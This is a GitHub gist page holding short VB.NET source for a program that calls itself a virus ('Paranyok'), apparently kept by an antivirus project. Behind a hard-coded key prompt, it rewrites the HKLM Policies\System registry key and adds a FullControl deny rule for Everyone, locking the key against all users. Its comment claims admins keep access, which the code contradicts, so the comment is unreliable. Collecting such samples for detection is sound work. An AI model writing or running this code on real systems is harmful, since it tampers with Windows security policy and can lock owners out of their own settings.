Created
September 20, 2024 14:53
-
-
Save HydraDragonAntivirus/e5d8fd0aceaf801579355de2275a9f81 to your computer and use it in GitHub Desktop.
Paranyok
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Imports Microsoft.Win32 | |
Imports System.Security.AccessControl | |
Imports System.Security.Principal | |
Public Class Form1 | |
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click | |
' Key validation section | |
Dim key As String = InputBox("Enter the key to run the virus:", "Key Entry") | |
Dim correctKey As String = "ParanyokBuradaOzelSifreYok" | |
If key = correctKey Then | |
MessageBox.Show("Correct key! Operations are starting...", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information) | |
Try | |
' Change the EnableLUA key | |
Dim regKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True) | |
If regKey IsNot Nothing Then | |
regKey.SetValue("EnableLUA", 1, RegistryValueKind.DWord) | |
regKey.Close() | |
End If | |
' Use RegistrySecurity to lock the registry key | |
Dim keyPath As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" | |
Using systemKey As RegistryKey = Registry.LocalMachine.OpenSubKey(keyPath, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions) | |
' Get the current security settings | |
Dim security As RegistrySecurity = systemKey.GetAccessControl() | |
' Remove access to the key for the Everyone group | |
Dim everyone As New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing) | |
security.PurgeAccessRules(everyone) | |
' Set new permissions: Only allow access to System and Admins | |
security.AddAccessRule(New RegistryAccessRule(everyone, RegistryRights.FullControl, AccessControlType.Deny)) | |
' Apply the changes to the registry key | |
systemKey.SetAccessControl(security) | |
MessageBox.Show("Registry key successfully locked!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information) | |
End Using | |
Catch ex As Exception | |
MessageBox.Show("An error occurred: " & ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) | |
End Try | |
Else | |
MessageBox.Show("Wrong key! The virus could not be executed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) | |
End If | |
End Sub | |
End Class |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment